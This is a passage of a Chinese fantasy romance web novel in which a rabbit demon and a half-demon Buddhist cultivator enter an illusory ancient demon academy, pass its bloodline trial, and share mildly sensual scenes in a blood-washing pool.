息尘赞赏地看了看玉扶,继续道:“圣山不灭,我们所遇到的这些,或会一遍又一遍地重演他们生前的经历。” “我们虽为外入者,可以随意参与过去,但决计改变不了过去,同时,也决不能被往昔之景拉入覆灭,否则,将再也出不去。” 玉扶越听越品不出好来,她是想变厉害,可并不想死,这么危险的地方,在息尘之前的阿裴,竟然一点也不提! 玉扶气得鼓腮:“那我们要是想离开,是不是要先寻到圣山?” 息尘点头,又道:“这并不急,我观此间时间流速尚早,域界也稳固,在圣山不行之前,阿扶,这里的机缘于妖族而言,可遇不可求。” 他笑得温和又包容,与阿裴截然不同的气质出现在同一张面庞之上,圣洁得如有光晕一般令人目眩。 玉扶晕乎乎地点头。 息尘:“叩宫考核或是我们进入学宫后接近圣山的关键。” “阿扶你” 玉扶没反应,息尘无奈又唤一声:“阿扶。” 玉扶从欣赏中抽离,眨了眨眼。 息尘:“阿扶,此学宫招生多有限制,许是要委屈你当我妖侍带入,可愿?” 玉扶完全没有意见,她早就发现了,自己在这什么昔日之境中,更显弱了,随便一个年岁与她差不多的妖修,修为都有化神。 就连不开智的妖兽也能碾压她,嫉妒死了。 不过也确实能说明,她在这里,说不定也会很快变得很厉害。 当下唇边又露出甜滋滋笑意地点头。 * 是夜。 往昔之境中全然重现了数万年前的妖神之地,月盘遥远而清亮,星子排布神秘瑰丽。 息尘没有歇下,还未正式入学宫,同一屋中的玉扶也因是被当做小兔带入,并分不得其他住处。 她想来也是累了,于洒入房中的月辉下,修炼着修炼着就发出了绵长的呼吸。 息尘将重新化为小兔的玉扶抱回床上,独自内观体内新生脉络。 既是妖神学宫,收的弟子也自然是妖,他对妖性并不熟悉,且需适应。 体内一银一金的脉系,他不断尝试运转,并试图寻到融合穴点。 这无疑会令他的身躯妖化更甚,可又能如何呢,生来半妖,即便割裂也无法彻底摒弃,且也不光是为玉扶寻机缘。 他亦有事关过去,事关诞下他的母亲之谜未解,唯入妖神学宫,方可探寻。 这一入定,便是直到天明。 被衾中拱起一点弧度,继而,玉扶冒出了毛茸茸的脑袋,她不想变回兔子的,可谁让他们一间屋子,息尘又是好正直的佛修呢,她不想他离她很远。 加之她的心虚,只好表现得更乖巧。 不过她总是忍不住的,她很快重新化形,又出神地盯着息尘看,但越看越满脸的苦大仇深。 不是息尘不好看,也不是他还不够包容。 而是,玉扶想起来阿裴,那个坏蛋。 他一定是知道会有息尘出来,所以才把她喂得饱饱的。 是在防着她想息尘呢。 玉扶又想哼哼了,可是,不得不说,坏蛋的威慑力对她还是很有作用的,她也就只是想看看息尘而已,没有想和他亲亲,也没有想吃他。 她应该会有好一段时间,不会有渡情期的欲1念了,可还是好气啊! 她不该答应等坏蛋的! 第47章 “阿扶, 醒了?” “在想什么?” 息尘带笑的声音将玉扶拉回了现实。 玉扶陡地缩回被窝,然后才复探出少女的娇靥。 她化形得太快,探出的半个肩身, 无疑是十足有冲击力的小美人。 息尘被冲击得怔愣,非是没见过玉扶化形, 而是, 她与印象中的小兔形象愈发远, 他心底也莫名地生出一种难以遏制的恐慌。 他希望她是可亲近的小兔, 可又不受控地意识到阿扶是妖, 还是足以撼人心神的妖。 阿扶,他总是不知该拿她如何是好。 他避开视线,试图从方方面面都与玉扶保持距离。 然不过是一个细微的动作罢了, 玉扶还不曾敏锐到蛔虫的程度, 她跳下床,凑到息尘面前,小声:“息尘,我要告诉你一个秘密!” 息尘不自然地微直了身, 却仍旧不受控地被少女瞳仁中闪动光芒吸引, 他轻易为她的秘密侧了耳。 温温的痒痒的, 说话的吐息从耳廓一贯到了脖颈。 她说:“息尘,阿裴有时候是醒的。” 她在告密,在提醒息尘, 阿裴那个坏蛋意识可能是清醒的。 然说完后,自己先心虚地缩了脖子, 疑心这话也会被阿裴知晓。 可她就是故意的,她一点也招架不了坏蛋的阿裴,她和息尘在一起, 总不能不看息尘,不与息尘说话,或是有一些意外吧。 但可想的,每一件极小的事,都可能被阿裴日后拿来与她算账。 既然如此,那她不如告密,让息尘想办法,就算是稍微让坏蛋不要什么都知道也行。 息尘脖颈绯红,喉结紧绷,垂眼间只庆幸玉扶低头太快,并不曾瞧见他的失态,他很小地退了一步,回答阿扶:“他很虚弱。” 玉扶豁地抬头,却只见息尘往外走的背影,唯不同的是,他耳朵怎么好红? 玉扶并没多疑惑地跟上,她还在想息尘说的话,阿裴在虚弱,所以,阿裴不会什么都知道。 玉扶该开心的,可她心里却跟被石头压住了一般,有些闷闷的。 一不留神,撞上了停下息尘后背。 好硬,鼻子也在发酸。 息尘下意识抬手,想为玉扶看看,却很快压下:“阿扶,你若还有想问的,便问吧。” 她的心思被看出来了,玉扶有些不好意思,盯着自己的脚尖,声小得如蚊蚋一般:“他很虚弱的话,会有事吗?” 问完,玉扶头低得更低了。 阿裴的时候,迫于阿裴的“淫”威,她几乎不会提及息尘,而息尘的时候,他的好心肠,总让她得寸进尺。 她明明是妖,可为什么还是会很羞愧,觉得很对不起息尘呢? 玉扶很厌烦这种心里沉沉的,喘息不过来的感觉,也是这时,息尘的声音响起: “阿扶,他不会有事。” “你很喜爱他吗?” 不该问的,可见她那样难过,息尘也不知何心理地,艰涩问了出来。 玉扶憋不住眼角红红地摇头,又不知该怎么表达地点头:“他是坏蛋,脾气一点也不好。” “但是,他没有扔下过我,他打败了蛮虎妖,还带我来妖神古墟,对我很多时候,也很大方。” “我不想喜欢他的。” “息尘你对我很好,我也很喜欢你,可是我一点也不好,我不帮你,还总是用妖当借口欺骗你。” “我不想骗你的。” “我心里好难受。” “你们不是一个人吗?为什么会这么不同呢?” “我想不明白。” 她的表达非常混乱,可也异常的直白,她不想喜欢阿裴,但已经接受了“他”,或许也该称作喜欢。 她也喜欢自己,可又觉得欺骗了自己。 息尘震撼得无以言表,既惊讶她对自己表达的喜欢,又怜惜她的为难,甚至生出了一丝不该有的喜悦。 但无论总总,总归不会是她的错,她只是一只懵懂的小兔妖,阿裴引诱了她,而他,于这一体的意识中,也有责。 “阿扶,莫哭了。”息尘终于撇弃矜持,为她拭泪:“我与他本就是一体分出的不同意识,你若有觉得为难,往后便把我与他当做一个人看待罢。” 玉扶蓦地止住了哭泣,一时难以从息尘的话中回神,她一直知晓息尘好心肠的,他就是好心肠才会被她赖上。 可也正因他的好心肠,玉扶才会于二者之间生了愧。 然,今日里,她第一次发现,与阿裴无下限的无耻相反的,息尘的好心肠也没有下限。 她只是心里实在闷闷的,一股脑地吐露,息尘竟然让她日后将他们当做一人看待。 可他们一点也不同,又要如何当做一人看待? 他是也可以给她亲亲吗?还是可以与她做更过分的事? 玉扶心荡神摇,渡情期的妖性迷离得又生出了饥饿感。 她一点自制力也没有,她被圣洁的息尘慈悲的大方纵容得想法更大胆了。 她咬住了下唇,不令妖性显露,可也因饥饿,阿裴留给她的一大团灵息,瞬间消化不少。 息尘没发觉玉扶的异样,昨日得到的“过”字玉牌飞出,已在提示着叩宫考核的开始。 当他们到时,昨日见过的没见过的妖修皆已到场。 毕竟是误入,息尘没有急切上前,而是坠在边缘处观察。 考官还未出现,多有相识的妖三五成群,相谈随意。 玉扶也在落后息尘一点的地方,四处张望。 形形色色的妖修,即便知晓他们已经死去,可听着他们的谈话,感受到他们的妖息,还是会觉得鲜活。 眼下,就有许多吸引玉扶的谈话: “这一关问心,勘测血脉,也不知哪位尊者把关?”有妖好奇。 也有妖傲气抱胸:“任是哪位,我等能被族中荐来,难道还过不了?” “倒是那些不知哪处旮旯角来的,血脉也就一般,也不知是怎么得到的妖神帖,白占了名额。” 有妖提醒:“尊者无处不在,圣者无所不感,你莫要乱说,小心问心一关不过!” 也有他们口中旮旯角来的妖兀自担忧:“我非大妖族,会不会入不了学宫?” “怎会?我等能得妖神帖,便说明与学宫有缘,问心能过,亦然能入选。” “实不行,便投天妖盟去。” …… 玉扶听得有意思极了,原来不知道多少万年前的妖修们是这样的啊,嗯,比想象中的有秩序多了,不乱打架,也不相互挖妖丹吞食,还要上学考试。 很像是人族修士中的门派。 不好的是,也太看中血脉了,玉扶有些担心息尘了,他是佛修诶,可以蒙混过关吗? 她揪了揪息尘的衣袍,传递着自己不安。 息尘捏了捏玉扶的手,对她笑着摇了摇头,以示安抚。 玉扶某种意义上也算是被安抚到了,她对着被息尘捏过的手出神,这种小动作玉扶是熟悉的,不过不是对息尘,而是对阿裴。 阿裴捏得会重一点,然后坏笑一点,用他的坏蛋盖过其他的威胁,身体力行地做到让玉扶只怕他。 息尘以前的话,分明不会有这种动作,他一般是温柔地笑,然后摸摸她的脑袋。 虽然是很小的一点,可莫名的让玉扶感到了一点习惯上的重合。 也不知是不是她的错觉。 不过,很快玉扶就不纠结这点了,她见到了妖修们口中的尊者,是水族中老好人一样存在的鲸妖,她一出现,磅礴的水势跟同天上落下似的,险些要将所有妖冲走。 在场妖修不少被兜头冲了一浪水,清醒多了,怒的也有,但为入学宫,再大的火气也得压。 玉扶倒好,躲在息尘后,结界及时展开,还有闲心去看于水浪中显现的一道门。 白色浮雕,各种古怪妖形,盯久了,就像活过来一样。 息尘适时为玉扶挡了挡。 她听见有妖修开始提及那扇浮雕镂空的门:“是妖始门!” “过此门,妖祖亲鉴,资质上佳者,可直入同族尊者门下。” “不止,你忘了圣山还有唯剩的两位妖祖?若是能得那二位青眼,直入圣山也说不定。” …… 玉扶开始听不懂了,怎么一会妖祖亲鉴,一会又是唯剩的两位妖祖。 妖祖好像还怪忙的? 但随着踏入妖始门消失的妖越来越多,玉扶一边看一边偷听妖科普,也便慢慢懂了,圣山里的是活祖宗,妖始门上的是死祖宗。 都是妖道的始祖,但死去的,还留了魂念在附在门上发光发热,挑后继者。 不过,在知晓什么是昔日之境后,不管是活祖宗还是死祖宗,都差不离,只希望他们不要太挑毛病才好,她紧张地盯着息尘踏入。 甫一踏入,息尘便觉被什么触碰了,混乱腥煞之气冲击得他头昏脑涨,浑身肌肉紧绷,血脉中的妖性沸腾无比,不属他的那份凶性亟需发泄,恍若只有做些什么不可控之事方可平息。 但好在阿裴的虚弱,也好在他本就是佛修,对待此类心性被激发之时便有察觉,然毕竟是妖之考核,他不便用佛法心经压下暴虐,只于袖下捏紧了拳,全凭意志抵抗。 汗浸满了内衫,耳边恍若幻听般出现许多喁喁之声。 “我已激发了他最大的妖性,怎的,一点反应也没有?” “不好玩,不好玩,无趣极了。” “不如先前几个小子,令我等见识妖之极限。” 有妖声啐道:“就你连死了都光想着玩,莫忘了我等留魂念炼化入妖始门,是为挑选可扬我妖神一道传承的小辈。” “我观他心性上佳,血脉中凶戾爆发也不至失智,是个好苗子。” 又有奇状妖从浮雕中冒出,颈部延长地对息尘绕了个圈:“骨龄大了点,修为也不怎么样。” 浮雕中岔出另一脑袋,鼻翼不断嗅动:“味道有些熟悉。” 息尘仿佛被什么穿透一样,大颗汗珠自下颌滑落。 从他身上穿过的妖,尖叫大喊:“谁家的小蛇竟与人族结合!!” “此妖不能收!我妖族还不曾出过与低劣人族结合的叛类!” 此言一出,更多魂体一样的妖魄不断穿过息尘的身体,几乎将他里里外外看了个透,于极大的痛苦中,他竟能将这些妖魄的声音听得真切了几分: “圣山那两位怎可能有与人族结合的?” “他们最看中血脉,万年才得一个宝贝蛋,不可能有流落的血脉!” “那他这身上的半妖血脉又如何解释?” “莫吵了,依我看,就放他入门,若真是圣山那两位的血脉,也自有他们自家料理。” “有理,有理。” “放他过。” 第48章 息尘被吐出了妖始门。 那些喁喁细声似还荡在耳边一般, 令他思绪甚多,圣山竟与他的这半妖之身有联系吗? 妖王出自妖神古墟或许并非是假的。 那狐妖也是从妖王得知妖神古墟? 可亦有不对,时间对不上, 妖神古墟是传说之地,与妖王根本不是同一时期的妖, 如何对得上? 这当中必然还有缘故。 息尘平息下思绪, 发现被妖始门吐出后, 便已入了学宫内部, 周旁是与他一般过关的妖修在调息。 他的状态竟然算得上是好的, 有妖狂暴地变回了原形,四蹄皆在刨地,亦有妖癫癫地说着疯话…… 鲸妖尊者如慈和的母亲, 一个一个妖看过去, 掌下散出柔和的光,平息下他们暴动的妖血。 行到息尘跟前时,鲸妖尊者惊疑了一会,亦然帮他缓去身躯的不适:“小辈, 你很特殊, 不过, 莫怕,学宫接受你。” 无论是人族还是妖族,对太过久远的妖神学宫记录几乎没有, 息尘捺下探究的欲望,问道:“小辈有一妖侍如今还在外, 不知该如何去接应?” 鲸妖尊者看了息尘一眼,很少有妖会这么关心自己的妖侍,她手指虚点, 指尖跃出一条小水鱼:“跟它去罢。” 息尘谢过鲸妖尊者,小水鱼在空中游动,指引他去寻玉扶。 * 此时的玉扶还在山门外,息尘已经算是末尾进的妖始门了,他之后,外头的妖也越来越少。 玉扶不是真的妖侍,更不是这往昔之境中的一缕魂,同息尘分开越久,她便越感到一种恐慌。 她与这儿格格不入,一花一木,还有妖们,所有的所有瞧着是活的,可其实早就死了不知道多少万年。 她清楚知道这一点,然正因如此,入眼所见的鲜活,才愈发荒诞起来,有一瞬,她竟觉得自己错了,没有什么往昔之境,所有的生灵本就是活的,而她,也是其中一员。 玉扶这才意识到,往昔之境可怕的不是强大的妖兽,而是,同化。 潜移默化地融入,忘记来处,忘记要离开。 玉扶退在角落,蹲在地上,一遍一遍念叨:“我是玉扶,我有好多师姐,我在等息尘,我还要回家……” 小水鱼浮在玉扶身后,息尘的步子却没有跟上,少女寂寥的身影如尖刺扎入了心腔,汩汩流出的尽是自责,他不该不想到,玉扶的实力受到此地的影响会更大。 “阿扶。”息尘愧涩唤道。 玉扶倏地扭头,眸光瞬地闪亮,起身欢快奔来:“息尘,你出来了!你入选了是吗?” “你好厉害!” 她眸中全然的信任,烂漫得半点阴影也无。 可息尘并不能忘记先才一眼:“阿扶你害怕了是吗?” “抱歉,只留下你。” 玉扶眨了眨眼,她的情绪总是来得快去得也快,很生气很生气的时候,也很少会想着一定要报复,其他情绪也一样,她方才是害怕了的,可是息尘一出现,她便不再觉得会被往昔之境同化。 因为息尘和阿裴都那么厉害,他们总不会扔下她。 她也没想过息尘会跟自己道歉、 从修为跌到只能勉强化形,再到入妖域,玉扶已经见到太多厉害的妖了。 尤其是这个什么往昔之境,更是得天独厚得,随便一个年岁不大的妖修血脉都强的很,修为化神都如同烂白菜一样不值钱。 她早就被打击得习惯得很了,而且,也认为,自己只用了几个月的时间,修为就快重新爬回元婴,也很厉害。 至于息尘暂时留下她去过妖始门,也是没办法的事,就算不为机缘,也总要能入学宫,才好接近圣山寻到离开的方法。 所以她根本不怪息尘,坏蛋的阿裴也留过她自己呢,而且更过分,不但时间更久,还关她来着。 佛修,果然都是心肠好的大呆瓜。 怎么能这么容易就心软,心疼,还与她道歉呢。 她会变坏的。 现在,她就很想提过分的要求,也无师自通地,好像就懂得了阿裴欺负她的乐趣—— 遍身矜贵慈悲的气质的息尘,他用那样漂亮的眸子歉疚地看她。 她想亲亲他。 这一刻,玉扶全然忘了阿裴对她的威胁,大胆得只想更接近息尘一点,她凑近一步,轻轻拉了他的一点袖袍,抬着眼问:“息尘,你很自责吗?” “不要自责,我可以原谅你的。” 可以原谅,而不是已经原谅,玉扶为自己的小心思心虚得发颤,可她没有退开眼,直面着息尘垂下的眼,绯红着脸庞说完了请求:“我想亲你一下,可以吗?” 息尘怔愣,瞳孔倏地缩紧,她的请求总是直白又大胆,但从她口中说出,又实难觉得过分,阿扶,她是小兔时就这样,要抱,要摸,需要人陪…… 亲亲的要求,对她而言,好像是再简单不过的事。 甚至,脑中画面里,阿裴也不时地会啄上她一口,她从不会拒绝,也自然极了接受。 可这当真对吗? 玉扶没有得到回应,低落地松了揪着息尘的衣袖:“没关系,息尘,就算你不让我亲亲,我也会原谅你的。” 息尘瞧见,被松开衣袖轻有微一点褶,莫名的,他觉得这褶不在衣袖上,而在他心里,他似乎总让阿扶失落。 他总拒绝她。 也无怪她会喜欢上另一个他。 比较的心念一闪而过,息尘终于在玉扶将将退开一步时出声:“可以。” 不止是玉扶,就连息尘,也惊讶自己退让的轻易。 玉扶是极会抓住机会的小兔,脚尖不消退开,顺势一踮,亲到了息尘脸颊,虽然很下方,也来不及感受,就往下滑。 可就是亲到了啊! 玉扶简直快乐死了,这还是她第一次亲到息尘,她嗓音都透着满意了的开怀:“我原谅你了,我一点也不怪你。” “我们是不是可以入学宫了?” “我还同你住一起吗?” 玉扶快乐得往前走了两步,她是妖嘛,就是非常容易为久得不到的触碰开心。 然而,她倏然发现息尘不是,他石化一般地还在原地。 霎时,玉扶发髻边的绒球都蔫了似的耷下,她低着头退回,不太高兴地道歉:“好吧,你不喜欢的话,我下次不这样了。” “阿扶,不是这样的。”少女唇瓣柔软的触感,只有一瞬,可也足以颠覆息尘的所有认知,他不是不喜,而是无措。 他无法言明,也不忍拂了玉扶的兴,一经开口,却又是一阵悔意。 只得走到玉扶的前头道:“走吧。” 玉扶小步地跟上,还是很不解,不是这样那是哪样啊? 她想不明白,还待问,却突然发现息尘的耳朵泛着红,啊,原来这是害羞的意思呀! 玉扶老实了很多,只在心底为自己的发现偷偷地笑。 * 当夜里,玉扶发现她储在神魂小兔中的灵息又消化了许多。 想是白日里她又动情了的缘故。 她叹息地翻了个身,不远便是打坐的息尘。 妖神学宫特别大,招生间隔久又严苛,很多妖修的父母,据说都是这时期数得出名号的大妖,他们生来血脉就强大、不凡,自然也各有各的脾性,故而,不同妖修的居所各有分布且独立。 息尘虽不是被举荐的,也还没有归属哪位尊者门下,可也没被亏待,可选独立的洞府。 不过,他们的存在本就如同昔日之境中异类,当他们参与入了古妖日常,他们便会被记住,可当他们不出现,似乎也没有妖在意。 基于这点发现,息尘选了个虽偏僻,却更适应人修的屋舍安定下来。 或是因白日里的影响,他不再放心玉扶于昔日之境中独处,默认了地许了玉扶与他赖在一块。 玉扶托着脸看他,脑中许久不打架的小兔子又冒了出来—— 理智小兔劝诫:“你不可以想息尘,他是佛修,不会回应你的。” 玉扶就想反驳:“哼哼,他让我亲了。” 理智小兔:“大坏蛋让你不许想旁人你忘了吗?” 玉扶:“息尘怎么会是旁人呢,他们分明是一体的。” 理智小兔:“大坏蛋一定会生气,会收拾你的!” “……” 玉扶不想要理智了,她是妖,妖就是这样的。 而且,她能感觉到,她很快就能恢复修为了,到时灵息定然消耗得更快。 还有,师姐们教给她的渡情期,根本不是这样总用灵息搔搔痒的,应该是更舒服的事才是。 玉扶颊靥红红地想起息尘的尾巴,然后强迫自己赶紧睡觉了。 她也要去学宫听课呢。 * 玉扶的动静并不大,但于强她许多的息尘感知里,一举一动都有着强烈的存在感。 他静不下心。 玉扶清浅的一吻,或许只是寻常的亲近,可他却如魔怔一般,于脑中重复到纤毫毕现。 不该如此。 一夜未眠,终是压下了不平静的心澜。 玉扶很早醒,她有发现,凭依着那座山重现的昔日之境,灵气浓郁,修炼可以更快。 她心满意足地吸纳完曦光中的精华,躲进了息尘的衣襟中,混入学宫听课。 适应她大小的结界将她的气息裹藏,第一课中讲的也不是什么高深术法之流,而是妖神学宫的建立史。 原来,在这么久远之前的妖神时期,大多妖皆是因血脉而天生强大,这是天地初辟的恩赐。 但也有一个致命的缺点,再强大的妖也极难向成神更迈一步,他们血脉中充满了暴戾,当他们为血脉与强大沾沾自喜之时,往往就是失智的开始。 他们会在追逐神格的路上,日渐蜕为没有理智的兽,最终死在同类的手下。 强大与保持神智成了所有妖相反的命题,追逐强大必将失智,选择维持妖的理智,那注定不能更向神迈进一步。 然真正的妖神,却是二者兼得的,他们拥有纯净而强大的血脉,也有着成神的智慧。 妖神始祖不愿自己的妖族继续这样痛苦挣扎下去,便建立了妖神学宫,助力有资质者,涤净血脉,剔除暴戾因子。 虽能成妖神者仍旧稀少,可蜕化成兽的,也确实越来越少了。 玉扶第一次系统地听这些,竟也不觉得乏味,同时地,也生出了些崇敬,如懂得了很多地连连点头。 感受着玉扶的反应,息尘无声笑了笑。 不着痕迹地又为她遮掩了探查。 第49章 有人相伴, 昔日之境也变得没有那样可怕。 玉扶开始意识到这于妖确实是可遇不可求的机缘,在这里能见到许许多多早已断绝的传承,不过, 再眼红也带不走,大多本源神通都是跟着血脉种族走的。 就好比鲸妖尊者的千海神通, 完整妖躯是鲸的形状, 可却不存在血肉, 取而代之的是汪洋一样的海, 一方海域天地自内而生, 可蕴生命。 这一神通,便只有同为水族且血脉相适的妖才有可能觉醒。 玉扶受到启发,开始寻找可适应自身觉醒的神通, 同时, 日日夜里都跑去偷泡可提升血脉的洗血池。 名字不太好听,但其实是乳白色的髓液池,此刻她就泡在池子里,小嘴叭叭地说个不停:“圣山真厉害, 连洗血池都能复原出来。” 息尘“嗯”地回应了一声, 并不再多话。 就连那一声“嗯”传到玉扶的耳里时, 都微弱得要听不清,他坐得离玉扶实在太远了。 而且,还是背对着的。 玉扶闷闷地浸入池中, 认为都是息尘坐得离她太远,她心里才不舒服。 但很快, 她发现这种闷不单是来自心里,还来自身上,接连泡了好几日的洗血池, 她体内终于开始了某种变化,血液的流速在增快,不断汇至胸腔,挤压,仿佛要生长出新的血肉,难受的很。 她于洗血池中扑腾,全身的灵力都被调动。 哗哗的水声不同寻常地翻腾。 息尘下意识扭头:“阿扶——” 只见池面全然没有玉扶的身影,只有不断翻涌的水花证明她在池中。 不消一瞬,息尘闪身池边,大手探下池底,捞出玉扶。 湿.透了的玉扶攀着息尘的小臂,仍然维持着人形,可她变得好奇怪,她一会想冲破修为界限,一会又想扩张血脉,灵力好像怎么都不能够。 她贪心得什么都不想放弃,也不能放弃,扩张的血脉让她痛,可她就是知道,若是停下,她以后就便与这机缘再无瓜葛,甚至还会变成再也进步不了的兔子。 她并不想成为止步化形的妖,那此时也必须冲破修为界限,去更好地承受血脉的扩张。 作为妖的天性里,她天然就知道怎么样才能变得更强,也非常清楚地感知到,阿裴留给她那团灵息消耗殆尽。 她还想要。 妖性令她的眼变得通红,冒出的兔耳湿淋淋发着颤,息尘捞出了她,她布满妖性的红瞳也锁定了他。 她已听不清他在说什么了,只能望见他滑动的喉结,诱人,想咬上一口。 几乎没有防备,息尘被玉扶拖入了水中。 少女柔软的身躯毫无羞耻可言地跨了上来:“阿裴,我好难受,帮帮我好不好?” 息尘是有力反抗的,但她贴在他的怀里哭,湿哒哒的手压在他胸前,就仿佛有千斤重一般再难推开。 他只能绷紧了全身地不去触碰,克制与她道:“阿扶,我不是他。” 玉扶泪雾濛濛地抬眼,却怎么都瞧不清息尘的模样。 无法,她蹭着他地上攀,饱满的唇瓣从他的下颌黏至颊畔才分开些。 她凑很近地捧起息尘的脸,似在辨认,然后毫无预料地,亲在了息尘的唇上,她的神魂小兔下意识地钻入了他的识海。 入侵的神魂小兔全然没有做客的自觉,它乱跑乱撞,贪食地夺走他的灵息。 玉扶满足地伸了.舌,全凭自己喜好地亲他,咬他。 不管是闯入的神魂小兔,还是少女的亲吻,完全超出了息尘过往的感知,他的身体变得僵硬,甚至有了无所适从的反应。 这是他的反应,但又不止是他的反应,从来没有一刻这样清楚地意识到自己也是妖,尾巴在兴奋,在身躯里叫嚣着想出来,想紧紧地缠住变得奇怪的少女,同她一起变得湿淋淋。 他控制着手上力气,推开了玉扶,重复:“阿扶,我不是他。” 他的目光依旧称得上清醒,可也只有他自己知晓,还是不一样了,他在提醒玉扶的同时,也幽晦地并不想被当做另一个他。 玉扶很不满被推开,黏腻的目光仍黏在息尘身上,她的神魂小兔吃了很多很多,可是他不让她碰他,她便不能通过接触汲取力量。 她的神魂小兔还在他的识海中。 玉扶满心只有这一个念头。 然,触及息尘沉静华美的面庞,她还是努力地运转了脑筋,不断想与他贴贴地道:“我知道啊,你是息尘。” “还是佛修。” 原来她都知道,息尘眼眸遽地缩紧,薄薄的唇更是抿成一线,他开始看不懂玉扶了,她似乎并不单纯。 清冷带着审度的目光激得玉扶一个哆嗦,他不慈悲的时候原来是这样的啊,清泠泠的,即便这样被她拖入了水中,也矜贵,圣洁得不可侵犯。 玉扶着迷了,她嘟起的唇又想亲亲:“不要推开我好不好你不是答应要帮我的嘛” 软软的声音带着祈求,息尘滑过她唇瓣的目色又凝了凝,推在她肩上的手终是失了力道,她轻易地将身体重新覆了上去。 相贴的温度令她发出喟叹的低吟,毫不犹豫地咬住了他的下唇,夺回的力量涌入身躯,更是极大的慰藉。 可这种舒适与纵容总是会让贪心的兔子得寸进尺。 她贴着他轻轻地蹭,埋在他颈窝里轻轻地摇头,甚至哭泣。 息尘实不知拿她如何是好,他已经令她予取予求了,她需要的灵息,更是源源不断地被她的功法掠夺。 她还有哪里不满足? 玉扶当然不满足,泣音连带着控诉,一会一会的:“你不喜欢我不喜欢毛茸茸还讨厌和我亲亲。” 她本就十分的娇气,控诉时更是楚楚可怜,可她无知无觉,根本不知道她此刻的模样有多诱人堕落,眼眸湖水一眼粼粼,颊靥艳色浮现,垂眼也避不开水波漾在她胸1脯的时隐时现。 可就这样躲不得地,她的控诉仍在:“你看你都不看我。” “我都好难受了,你不摸摸我也不抱抱我。” “我也不想这样,可我忍不住……”玉扶呜呜地哭:“不是你让我把你们当一人看待吗?” “那为什么还是什么都不让?” 她抬起的脸,漂亮懵懂极了,眉梢微微泛红,透出似有若无的天真。 息尘无法反驳,可抱一下,摸一下,她就会好受一些吗? 他一直克制垂落的手,缓缓覆上了玉扶的后腰,顺毛似的隔着湿透的衣裳于水中摸了摸她。 玉扶舒适得眯眼,体内躁动的妖血也像是在顺着指引归位,她好像倏地就清明了不少。 玉扶没有感觉错,息尘不再放任她的神魂小兔予取予求,她的神魂小兔随着纯净的灵息重新回到她的体内,一个个静心的法决涌入她眉心—— “阿扶,淫.欲之念不可过心,清静方可濯秽去浊,静心平息。” 玉扶:“……” 大呆瓜! 玉扶不满极了,佛修真是、真是一点也不有趣! 她震惊得都从放纵的妖性中惊醒了,掠夺来的大团大团灵息足以她轻松跨过修为界限,甫一恢复到元婴期的修为,她便专心于血脉的扩张。 可还是疼。 她从不知提升血脉是这样痛苦的事,筋络仿佛要被加快流速的血液冲破,蛛网一样裂痕占满了每一条经络,她用极大的意志力忍疼的同时,还要调动许许多多的灵力去支撑着筋络,不令断裂。 涔涔汗液的从她肌肤透出,白皙肌肤更显出易碎的透色,浑身恍似比池水还凉,触之心惊。 息尘担忧她的状态,短短的时辰里,不住想很多,自责很多,想是不是没让她的神魂小兔吃够,也想,是不是洗血池的效力对阿扶这样的小妖过强,还想,或许妖本就是不能以道德标准要求的…… 他从身上抽出一缕神魂,并指点入玉扶的额间,甫一进入,便被体型庞大一圈的神魂小兔扑到。 许是熟悉的气息,安抚了小兔,那圆滚滚的神魂小兔竟渐化出了少女的形态,与玉扶生得几乎一样,或者说,本就是玉扶,只是她元婴了,神魂更强的同时也更可控了变化。 也是这时,息尘方发现,玉扶体内情况并没有身躯反应出来的那样糟糕,冰凉的体温是因她的经络在重塑,缓缓淌动的血液,是她在适应全新的力量。 玉扶不好意思地将息尘扑倒,光亮亮一团的息尘在她主宰的世界里,她可以对他为所欲为。 她嘤嘤嘤地撒娇,就是不放开:“我就是太痛了,才想与你亲亲的。” 她在为自己解释,不希望息尘讨厌了她。 息尘:“嗯,我知道。” 他的神魂就如同他的人一般,圣洁,温暖得人眼泪又想冒出来:“那你会讨厌我对你这样那样吗?” 息尘沉默了。 有些放下的底线,似乎很难再提回去,他已经试过,却仍旧无法抵抗爱哭的小兔。 他是半妖,再也回不去纯粹的佛子,既阿扶不过是想要一些触碰而已,又何须制止? 又何必让她伤心? “阿扶,我并不讨厌。”息尘语调缓而轻柔,带着一种妥协了的宠溺。 可他忘了,玉扶是惯会得寸进尺的小兔。 而且这是玉扶的识海,她轻易就更能感受到他的包容,开心得想摇尾巴,她克制住了,可怜兮兮地蹭息尘的下颌:“那我还疼,好疼好疼。” 耍赖的小兔。 息尘知道。 他浅浅地叹息,玉扶却如同得到什么准许的信号,咬上了他的喉结。 然,不管是玉扶还是息尘都疏忽了神魂相交的致命触感,完完全全脱离肉,体的感官,如滋过的电流,一触即蔓延全身。 息尘的反应尤大,不止是并入玉扶识海的神魂,外面的身躯都一个激灵地颤动。 玉扶迷离噬咬息尘的喉结,她好像突然就了悟了阿裴为何会喜欢舔她的眼泪了,她能瞧见息尘绷紧了的肌肤泛出绯红,唇瓣还能感受到跳动的脉搏,甚至是,他溢出口的一点闷哼。 原来圣洁禁欲的息尘也是会变得奇怪的。 有趣得她又含了含。 灵牵动肉,肉.体又连动神魂,喉结在少女的亲弄中,滑动剧烈。 他意识到不能这样下去,阿扶过头了。 顷刻,他的神魂撤出了玉扶的识海—— 第50章 玉扶于洗血池中睁开了眼, 周身灵气充盈,力量感漫布四肢百骸。 她没有第一时间去感受这些,而是张眼去寻了从她识海中跑掉的息尘。 他动作可真快, 这就又留她一人泡在池子里了。 不过,玉扶的眼神也很快, 捕到了他湿淋淋出池的模样, 全身上下都淌着水, 不知何时被她扯乱的衣襟, 狼狈敞着一小片胸膛, 结实的肌理在起伏。 玉扶脸颊都烫起来了,她微咬着唇,还是有些说不上来的不满, 他们总这样, 把她的兴致高高地吊起来后,又不给解决。 她修为恢复了,这种不满感更是成倍地放大。 她想起来,她就是元婴后, 才有的渡情期反应, 修为恢复, 也代表着,接下来的很长时间,她都会更受这种情绪的困扰。 他们真坏, 可又真的很美味。 强大得随便啃啃就好补。 眼见着息尘捏法决清爽周身,又离她好远, 暂时安分地浸入了洗血池。 她在感受自身的变化,妖脉扩张了,修为方面, 虽同是元婴,但明显更扎实了,力量也更充盈,最重要的是,她发现,她只能用来传传音听听声的小神通升级了,有了操控的能力。 以往她虽也能借助魂体小兔融入一些生灵,但只能跟随者生灵的主意识,连一只蝴蝶都操控不了,只能蝴蝶飞到哪,她就看到哪,但现在不一样了,她兴奋得觉得就算是一头牛她都能操控。 难怪越强大的妖,越想着提升血脉呢。 当即,她分出了一个魂体小兔,飘荡着贴近了息尘。 